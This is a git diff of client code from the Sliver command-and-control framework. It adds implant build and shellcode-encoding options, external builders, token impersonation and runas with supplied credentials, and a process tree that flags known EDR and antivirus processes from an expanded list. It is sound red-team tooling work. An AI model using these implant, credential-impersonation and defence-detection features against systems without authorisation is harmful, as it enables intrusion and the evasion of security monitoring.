|
||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: name,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -635,9 +782,8 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
if len(generated.File.Data) == 0 {
|
||||
con.PrintErrorf("Build failed, no file data\n")
|
||||
return nil, errors.New("no file data")
|
||||
@@ -645,9 +791,9 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
confirm := false
|
||||
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
|
||||
if confirm {
|
||||
if disableSGN {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
@@ -670,7 +816,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
err = os.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -760,3 +906,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
|
||||
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(builders.Builders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoExternalBuilder
|
||||
}
|
||||
|
||||
validBuilders := []*clientpb.Builder{}
|
||||
for _, builder := range builders.Builders {
|
||||
for _, target := range builder.Targets {
|
||||
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
|
||||
validBuilders = append(validBuilders, builder)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(validBuilders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoValidBuilders
|
||||
}
|
||||
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
}
|
||||
choice := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an external builder:",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &choice, nil)
|
||||
for _, builder := range builders {
|
||||
if builder.Name == choice {
|
||||
return builder, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoValidBuilders
|
||||
}
|
||||
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"Template",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
if config.TemplateName == "" {
|
||||
config.TemplateName = "sliver"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
config.TemplateName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
|
||||
@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, save, con)
|
||||
implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to %s\n", err)
|
||||
return
|
||||
|
||||
@@ -105,6 +105,9 @@ var (
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -452,7 +455,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
|
||||
|
||||
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
|
||||
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
|
||||
|
||||
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
|
||||
|
||||
@@ -468,6 +471,16 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
|
||||
Valid types are:
|
||||
|
||||
LOGON_INTERACTIVE
|
||||
LOGON_NETWORK
|
||||
LOGON_BATCH
|
||||
LOGON_SERVICE
|
||||
LOGON_UNLOCK
|
||||
LOGON_NETWORK_CLEARTEXT
|
||||
LOGON_NEW_CREDENTIALS
|
||||
`
|
||||
|
||||
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
|
||||
@@ -701,6 +714,13 @@ the target extension must have either of these two sets of permissions:
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
|
||||
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
|
||||
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
|
||||
|
||||
External builders allow the Sliver server offload implant builds onto external machines.
|
||||
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"compress/zlib"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -70,7 +71,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
con.PrintErrorf("Incorrect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -103,7 +104,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
zlibWriter.Close()
|
||||
stage2 = compBuff.Bytes()
|
||||
case "gzip":
|
||||
stage2 = util.GzipBuf(stage2)
|
||||
stage2 = encoders.GzipBuf(stage2)
|
||||
case "deflate9":
|
||||
fallthrough
|
||||
case "deflate":
|
||||
|
||||
@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ip6 := ctx.Flags.Bool("ip6")
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
numeric := ctx.Flags.Bool("numeric")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
names, err := net.LookupAddr(addr)
|
||||
if err == nil && len(names) > 0 {
|
||||
addr = names[0]
|
||||
}
|
||||
if len(addr) > IPv4Strlen {
|
||||
addr = addr[:IPv4Strlen]
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
|
||||
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
|
||||
if !numeric {
|
||||
srcAddr = lookup(entry.LocalAddr)
|
||||
dstAddr = lookup(entry.RemoteAddr)
|
||||
}
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
|
||||
@@ -28,6 +28,16 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var logonTypes = map[string]uint32{
|
||||
"LOGON_INTERACTIVE": 2,
|
||||
"LOGON_NETWORK": 3,
|
||||
"LOGON_BATCH": 4,
|
||||
"LOGON_SERVICE": 5,
|
||||
"LOGON_UNLOCK": 7,
|
||||
"LOGON_NETWORK_CLEARTEXT": 8,
|
||||
"LOGON_NEW_CREDENTIALS": 9,
|
||||
}
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
logonType := ctx.Flags.String("logon-type")
|
||||
|
||||
if _, ok := logonTypes[logonType]; !ok {
|
||||
con.PrintErrorf("Invalid logon type: %s\n", logonType)
|
||||
return
|
||||
}
|
||||
|
||||
if username == "" || password == "" {
|
||||
con.PrintErrorf("Pou must provide a username and password\n")
|
||||
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Creating new logon session ...", ctrl)
|
||||
|
||||
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
LogonType: logonTypes[logonType],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
showWindow := ctx.Flags.Bool("show-window")
|
||||
process := ctx.Flags.String("process")
|
||||
arguments := ctx.Flags.String("args")
|
||||
netonly := ctx.Flags.Bool("net-only")
|
||||
|
||||
if username == "" {
|
||||
con.PrintErrorf("Please specify a username\n")
|
||||
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
HideWindow: !showWindow,
|
||||
NetOnly: netonly,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -39,25 +40,31 @@ var (
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
@@ -66,8 +73,8 @@ var (
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
@@ -131,6 +138,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
pstree := ctx.Flags.Bool("tree")
|
||||
|
||||
if pstree {
|
||||
var currentPID int32
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil && session.PID != 0 {
|
||||
currentPID = session.PID
|
||||
} else if beacon != nil && beacon.PID != 0 {
|
||||
currentPID = beacon.PID
|
||||
}
|
||||
// Print the process tree
|
||||
sorted := SortProcessesByPID(ps.Processes)
|
||||
tree := NewPsTree(currentPID)
|
||||
for _, p := range sorted {
|
||||
tree.AddProcess(p)
|
||||
}
|
||||
con.PrintInfof("Process Tree:\n%s", tree.String())
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
@@ -270,3 +296,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// SortProcessesByPID - Sorts a list of processes by PID
|
||||
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
|
||||
sort.Slice(ps, func(i, j int) bool {
|
||||
return ps[i].Pid < ps[j].Pid
|
||||
})
|
||||
return ps
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/xlab/treeprint"
|
||||
)
|
||||
|
||||
// A PsTree is a tree of *commonpb.Process
|
||||
type PsTree struct {
|
||||
printableTree treeprint.Tree // only used for rendering
|
||||
implantPID int32
|
||||
procTree *node // used to hold the tree structure
|
||||
}
|
||||
|
||||
type node struct {
|
||||
Value *commonpb.Process // The process information
|
||||
Children map[int32]*node // The children of this node
|
||||
Parent *node // The parent of this node
|
||||
}
|
||||
|
||||
// NewPsTree creates a new PsTree
|
||||
func NewPsTree(pid int32) *PsTree {
|
||||
return &PsTree{
|
||||
printableTree: treeprint.New(),
|
||||
implantPID: pid,
|
||||
procTree: &node{Value: &commonpb.Process{Pid: -1}},
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) insert(proc *commonpb.Process) {
|
||||
if n.Value == nil {
|
||||
n.Value = proc
|
||||
return
|
||||
}
|
||||
if parent := n.findParent(proc); parent != nil {
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
|
||||
} else {
|
||||
if n.Children == nil {
|
||||
n.Children = make(map[int32]*node)
|
||||
}
|
||||
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
for _, child := range n.Children {
|
||||
if p := child.findParent(proc); p != nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func reorder(root *node) {
|
||||
toDelete := make([]int32, 0)
|
||||
for pid, child := range root.Children {
|
||||
// skip root node
|
||||
if child.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
// Skip edge case of [System Process] on Windows
|
||||
if child.Value.Ppid == pid {
|
||||
continue
|
||||
}
|
||||
// only focus on children without parent
|
||||
if child.Parent.Value.Pid == -1 {
|
||||
if parent := root.findParent(child.Value); parent != nil {
|
||||
child.Parent = parent
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
// copy to new parent
|
||||
parent.Children[pid] = child
|
||||
// mark for deletion
|
||||
toDelete = append(toDelete, pid)
|
||||
}
|
||||
}
|
||||
}
|
||||
// delete children that were moved
|
||||
for _, pid := range toDelete {
|
||||
delete(root.Children, pid)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *PsTree) AddProcess(proc *commonpb.Process) {
|
||||
t.procTree.insert(proc)
|
||||
}
|
||||
|
||||
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
||||
color := console.Normal
|
||||
if proc.Pid == t.implantPID {
|
||||
color = console.Green
|
||||
}
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
|
||||
}
|
||||
|
||||
func (t *PsTree) String() string {
|
||||
reorder(t.procTree)
|
||||
return t.Print()
|
||||
}
|
||||
|
||||
func (t *PsTree) Print() string {
|
||||
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
|
||||
for k := range t.procTree.Children {
|
||||
topLevelPIDs = append(topLevelPIDs, int(k))
|
||||
}
|
||||
sort.Ints(topLevelPIDs)
|
||||
for _, pid := range topLevelPIDs {
|
||||
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
|
||||
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
|
||||
}
|
||||
return t.printableTree.String()
|
||||
|
||||
}
|
||||
|
||||
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
|
||||
for pid, proc := range procs {
|
||||
if proc.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
procName := t.filterProc(proc.Value)
|
||||
|
||||
procNode := tree.FindByMeta(pid)
|
||||
if procNode == nil {
|
||||
if len(proc.Children) > 0 {
|
||||
procNode = tree.AddMetaBranch(pid, procName)
|
||||
} else {
|
||||
procNode = tree.AddMetaNode(pid, procName)
|
||||
}
|
||||
}
|
||||
t.addToTree(procNode, proc.Children)
|
||||
}
|
||||
}
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
@@ -212,9 +213,25 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
|
||||
|
||||
// ---------------------
|
||||
// Call extension commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgCallExtensionReq:
|
||||
callExtension := &sliverpb.CallExtension{}
|
||||
err := proto.Unmarshal(task.Response, callExtension)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
extensions.PrintExtOutput("", "", callExtension, con)
|
||||
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgInvokeExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgExecuteAssemblyReq:
|
||||
execAssembly := &sliverpb.ExecuteAssembly{}
|
||||
err := proto.Unmarshal(task.Response, execAssembly)
|
||||
@@ -233,6 +250,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
|
||||
},
|
||||
}
|
||||
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
|
||||
@@ -430,7 +448,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
|
||||
